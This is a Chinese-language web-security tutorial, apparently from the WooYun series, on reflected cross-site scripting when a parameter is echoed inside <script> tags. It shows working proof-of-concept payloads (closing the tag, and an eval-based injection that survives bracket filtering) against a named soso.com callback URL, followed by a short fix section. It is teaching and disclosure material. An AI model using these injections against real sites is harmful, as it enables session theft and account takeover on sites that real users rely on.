# 2\. 輸出在`<script></script>`之間的情況
> [2\. 輸出在`<script></script>`之間的情況](http://www.wooyun.org/bugs/wooyun-2010-015959)
## 簡要描述
接著上面一個教程,我們繼續。這個例子屬于第一例的特殊情況,當然也有特殊解法。也屬于非常常見的一種情況。
## 詳細說明
1\. 我們找到這么一個點,也是輸入和輸出都未過濾的一個點。相比教程第一例,其特殊之處在于,是輸出在了 `<script>[輸出]</script>` 之間。
```
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa
```
如下圖:callback 參數未做過濾。 在【查看源代碼】下,我們可以看到。

缺陷網頁源代碼:
```
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>
```
2\. 碰到這種情況,我們一般有以下解法。
2.1 首先判斷,是否過濾了 `<` , `>` , `/` 等符號,

2.2 如果都沒有過濾,恭喜你,一般可以直接 XSS 了。代碼如下:
```
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>
```
原理入下圖:
構造 callback 參數后的源代碼
```
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</scri pt>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>
```
2.3 如果過濾了 `<`, `>`,那么就無法使用上面的辦法了。我們接著看
3\. script 代碼里的構造。
友情提示:這里可能需要一點點 javascript 的知識才行哦~~ 我們可以如下構造:
```
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void
```
可以看到,源代碼是下面的樣子。

也就是說,我們插入的內容,使得這一段 javascript 依然【語法正確】,能夠【正確執行】,并且能夠執行【我們所插入的 JS 代碼】,
這樣我們的目的就達到了。 構造后的源代碼如下:
```
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){ eval('alert(1)');void(_ret);}</script>
```
4\. 這種輸出在 JS 代碼里的情況十分常見,但是呢?不幸的是,像這樣沒過濾的情況,卻不是很常見。例如: `var a="[輸出]"; //` 通常程序員會把 " 過濾掉, 這樣的話,一般來說,我們就很難構造。
但是,這并不是說,就一定是不能利用,后面我們會拿騰訊一些【比較有意思】的例子,來進一步說到 這個【輸出在 js 里】的情況的~
## 修復方案
這類 XSS 的模型通常是:
```
<script>...[輸出]...</script>
<style>...[輸出]...</script>
```
解決方案:
1\. 過濾 `</xxx>` 組合
2\. 針對輸出在不同的場景,進行合適的過濾。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]